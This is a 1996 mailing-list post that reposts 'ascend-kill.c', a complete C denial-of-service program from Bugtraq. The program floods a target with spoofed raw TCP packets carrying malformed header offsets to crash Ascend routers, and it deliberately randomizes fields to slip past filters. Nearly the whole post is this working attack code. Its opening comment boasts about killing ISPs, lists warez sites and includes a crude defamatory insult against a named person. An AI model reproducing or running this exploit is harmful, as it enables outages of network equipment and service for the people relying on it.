Crashing Linux? :-?

Rodrigo Feher (feher@pobox.com)
Sat, 16 Nov 1996 19:50:12 -0200 (EDT)


Hi,

I got this from Bugtraq list. It didn't crash my box (packet sent
to 127.0.0.1). I haven't tried others. I'm running 2.1.10 kernel.

(--------------------- ascend-kill.c Start ------------------------------)

/*
The Posse Brings you:

The Linux Ascend Kill Program!

Kill your local ISP (or even non-local)

313373133731337313373133731337313373133731337313373133731337313373133731337
1 3
3 1
3 Because Ascend has such a strong programming department that would 3
7 never under any circumstances release a version of their code which 3
3 contained a bug. 7
1 3
3 Well. Ascend did it again. Those pesky non zero length tcp offset's 1
3 do it everytime! Are those fault lights available in christmas colors 3
7 in time for the season? h0h0h0.. 3
3 7
1 BTW, if anyone has any pictures of MSN pops, please post them to 3
3 someplace public so we can all share in the season spirit. 1
3 3
7 - The Posse is back! 3
3 7
1 greetz to : alpha bits, the grave digger, and fast freddy. 3
3 1
3 Goto our eleet ftp sitez: 3
7 3
3 7
1 The Dark Dungeon 198.34.1xx.xxx 600 gigz online! 3
3 Strobe Room 34.101.1xx.xxx 1TB of Warez and H/P/V/A/C/K text 1
3 3
731337313373133731337313373133731337313373133731337313373133731337313373133
3 7
1 2600.com is run off vnetmax.villagenet.com (205.136.35.3) 3
3 Keep your support of 2600, help Emmanuel play with his little boys 1
3 3
731337313373133731337313373133731337313373133731337313373133731337313373133 3

*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <netinet/ip_tcp.h>
#include <netinet/protocols.h>
#include <netdb.h>

unsigned short compute_tcp_checksum(struct tcphdr *th, int len,
unsigned long saddr, unsigned long daddr)
{
unsigned long sum;
__asm__("
addl %%ecx, %%ebx
adcl %%edx, %%ebx
adcl $0, %%ebx
"
: "=b"(sum)
: "0"(daddr), "c"(saddr), "d"((ntohs(len) << 16) + IPPROTO_TCP*256)
: "bx", "cx", "dx" );
__asm__("
movl %%ecx, %%edx
cld
cmpl $32, %%ecx
jb 2f
shrl $5, %%ecx
clc
1: lodsl
adcl %%eax, %%ebx
lodsl
adcl %%eax, %%ebx
lodsl
adcl %%eax, %%ebx
lodsl
adcl %%eax, %%ebx
lodsl
adcl %%eax, %%ebx
lodsl
adcl %%eax, %%ebx
lodsl
adcl %%eax, %%ebx
lodsl
adcl %%eax, %%ebx
loop 1b
adcl $0, %%ebx
movl %%edx, %%ecx
2: andl $28, %%ecx
je 4f
shrl $2, %%ecx
clc
3: lodsl
adcl %%eax, %%ebx
loop 3b
adcl $0, %%ebx
4: movl $0, %%eax
testw $2, %%dx
je 5f
lodsw
addl %%eax, %%ebx
adcl $0, %%ebx
movw $0, %%ax
5: test $1, %%edx
je 6f
lodsb
addl %%eax, %%ebx
adcl $0, %%ebx
6: movl %%ebx, %%eax
shrl $16, %%eax
addw %%ax, %%bx
adcw $0, %%bx
"
: "=b"(sum)
: "0"(sum), "c"(len), "S"(th)
: "ax", "bx", "cx", "dx", "si" );
return((~sum) & 0xffff);
}

#define psize ( sizeof(struct iphdr) + sizeof(struct tcphdr) )
#define tcp_offset ( sizeof(struct iphdr) )
#define err(x) { fprintf(stderr, x); exit(1); }
#define errors(x, y) { fprintf(stderr, x, y); exit(1); }
struct iphdr temp_ip;
int temp_socket = 0;

u_short
ip_checksum (u_short * buf, int nwords)
{
unsigned long sum;

for (sum = 0; nwords > 0; nwords--)
sum += *buf++;
sum = (sum >> 16) + (sum & 0xffff);
sum += (sum >> 16);
return ~sum;
}

void
fixhost (struct sockaddr_in *addr, char *hostname)
{
struct sockaddr_in *address;
struct hostent *host;

address = (struct sockaddr_in *) addr;
(void) bzero ((char *) address, sizeof (struct sockaddr_in));
address->sin_family = AF_INET;
address->sin_addr.s_addr = inet_addr (hostname);
if ((int) address->sin_addr.s_addr == -1)
{
host = gethostbyname (hostname);
if (host)
{
bcopy (host->h_addr, (char *) &address->sin_addr,
host->h_length);
}
else
{
puts ("Couldn't resolve address!!!");
exit (-1);
}
}
}

unsigned int
lookup (host)
char *host;
{
unsigned int addr;
struct hostent *he;

addr = inet_addr (host);
if (addr == -1)
{
he = gethostbyname (host);
if ((he == NULL) || (he->h_name == NULL) || (he->h_addr_list == NULL))
return 0;

bcopy (*(he->h_addr_list), &(addr), sizeof (he->h_addr_list));
}
return (addr);
}

unsigned short
lookup_port (p)
char *p;
{
int i;
struct servent *s;

if ((i = atoi (p)) == 0)
{
if ((s = getservbyname (p, "tcp")) == NULL)
errors ("Unknown port %s\n", p);
i = ntohs (s->s_port);
}
return ((unsigned short) i);
}

void
spoof_packet (struct sockaddr_in local, int fromport, \
struct sockaddr_in remote, int toport, ulong sequence, \
int sock, u_char theflag, ulong acknum, \
char *packdata, int datalen)
{
char *packet;
int tempint;
if (datalen > 0)
datalen++;
packet = (char *) malloc (psize + datalen);
tempint = toport;
toport = fromport;
fromport = tempint;
{
struct tcphdr *fake_tcp;
fake_tcp = (struct tcphdr *) (packet + tcp_offset);
fake_tcp->th_dport = htons (fromport);
fake_tcp->th_sport = htons (toport);
fake_tcp->th_flags = theflag;
fake_tcp->th_seq = random ();
fake_tcp->th_ack = random ();
/* this is what really matters, however we randomize everything else
to prevent simple rule based filters */
fake_tcp->th_off = random ();
fake_tcp->th_win = random ();
fake_tcp->th_urp = random ();
}
if (datalen > 0)
{
char *tempbuf;
tempbuf = (char *) (packet + tcp_offset + sizeof (struct tcphdr));
for (tempint = 0; tempint < datalen - 1; tempint++)
{
*tempbuf = *packdata;
*tempbuf++;
*packdata++;
}
*tempbuf = '\r';
}
{
struct iphdr *real_ip;
real_ip = (struct iphdr *) packet;
real_ip->version = 4;
real_ip->ihl = 5;
real_ip->tot_len = htons (psize + datalen);
real_ip->tos = 0;
real_ip->ttl = 64;
real_ip->protocol = 6;
real_ip->check = 0;
real_ip->id = 10786;
real_ip->frag_off = 0;
bcopy ((char *) &local.sin_addr, &real_ip->daddr, sizeof (real_ip->daddr));
bcopy ((char *) &remote.sin_addr, &real_ip->saddr, sizeof (real_ip->saddr));
temp_ip.saddr = htonl (ntohl (real_ip->daddr));
real_ip->daddr = htonl (ntohl (real_ip->saddr));
real_ip->saddr = temp_ip.saddr;
real_ip->check = ip_checksum ((u_short *) packet, sizeof (struct iphdr) >> 1);
{
struct tcphdr *another_tcp;
another_tcp = (struct tcphdr *) (packet + tcp_offset);
another_tcp->th_sum = 0;
another_tcp->th_sum = compute_tcp_checksum (another_tcp, sizeof (struct tcphdr) + datalen,
real_ip->saddr, real_ip->daddr);
}
}
{
int result;
sock = (int) temp_socket;
result = sendto (sock, packet, psize + datalen, 0,
(struct sockaddr *) &remote, sizeof (remote));
}
free (packet);
}

void
main (argc, argv)
int argc;
char **argv;
{
unsigned int daddr;
unsigned short dport;
struct sockaddr_in sin;
int s, i;
struct sockaddr_in local, remote;
u_long start_seq = 4935835 + getpid ();

if (argc != 3)
errors ("Usage: %s <dest_addr> <dest_port>\n\nDest port of 23 for Ascend units.\n",
argv[0]);

if ((s = socket (AF_INET, SOCK_RAW, IPPROTO_RAW)) == -1)
err ("Unable to open raw socket.\n");
if ((temp_socket = socket (AF_INET, SOCK_RAW, IPPROTO_RAW)) == -1)
err ("Unable to open raw socket.\n");
if (!(daddr = lookup (argv[1])))
err ("Unable to lookup destination address.\n");
dport = lookup_port (argv[2]);
sin.sin_family = AF_INET;
sin.sin_addr.s_addr = daddr;
sin.sin_port = dport;
fixhost ((struct sockaddr_in *)(struct sockaddr *) &local, argv[1]);
fixhost ((struct sockaddr_in *)(struct sockaddr *) &remote, argv[1]);
/* 500 seems to be enough to kill it */
for (i = 0; i < 500; i++)
{
start_seq++;
local.sin_addr.s_addr = random ();
spoof_packet (local, random (), remote, dport, start_seq, (int) s,
TH_SYN | TH_RST | TH_ACK, 0, NULL, 0);
}
}

(---------------------- ascend-kill.c End -------------------------------)

- rf